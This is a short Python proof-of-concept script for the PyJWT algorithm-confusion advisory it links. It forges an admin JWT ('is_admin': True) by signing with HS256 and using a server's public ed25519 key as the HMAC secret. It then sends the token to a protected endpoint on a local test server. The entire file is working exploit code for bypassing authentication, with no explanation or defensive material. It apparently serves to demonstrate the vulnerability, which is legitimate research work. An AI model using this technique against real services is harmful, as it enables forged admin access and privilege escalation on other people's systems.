import jwt
import requests

# More info
# https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24

claims = {
  "fresh": False,
  "iat": 1663202622,
  "jti": "c9606d76-7829-483f-a711-c1c092259787",
  "type": "access",
  "sub": "test1",
  "nbf": 1663202622,
  "exp": 1663289022,
  "is_admin": True
}

public_key = b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDyh1lbNYwTf0EQ9y0e6lgYKPwH9fAdGT3FinPZHHSax'
token = jwt.encode(claims, key=public_key, algorithm='HS256')

url = 'http://127.0.0.1:5001/protected'
headers = {"Authorization": f"Bearer {token}"}
response = requests.get(url, headers=headers)
print(response.text)
